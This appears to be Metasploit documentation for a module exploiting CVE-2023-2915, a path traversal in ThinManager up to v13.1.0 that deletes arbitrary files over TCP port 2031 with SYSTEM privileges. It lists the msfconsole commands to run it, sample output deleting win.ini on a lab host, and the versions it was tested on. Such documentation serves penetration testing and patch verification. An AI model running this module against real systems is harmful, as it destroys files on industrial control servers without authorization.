ThinManager Path Traversal Delete (CVE-2023-2915) Module

[h4x-x0r]

This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2915) to delete an arbitrary file from the target system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

Verification Steps

1. The software can be obtained from the vendor. Install it with default settings.
2. Start msfconsole
3. msf6 > use auxiliary/gather/thinmanager_traversal_delete
4. msf6 auxiliary(gather/thinmanager_traversal_delete) > set RHOSTS <IP>
5. msf6 auxiliary(gather/thinmanager_traversal_delete) > set FILE <file to delete>
6. msf6 auxiliary(gather/thinmanager_traversal_delete) > run

Example output:

msf6 auxiliary(gather/thinmanager_traversal_delete) > run
[*] Running module against 192.168.137.229

[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Deleting /Windows/win.ini from 192.168.137.229
[+] 192.168.137.229:2031 - Received response from target.
[*] Auxiliary module execution completed

Successfully tested on

• ThinManager v13.1.0 on Windows 22H2
• ThinManager v13.0.1 on Windows 22H2
• ThinManager v13.0.0 on Windows 22H2
• ThinManager v12.1.5 on Windows 22H2
• ThinManager v10.0.2 on Windows 22H2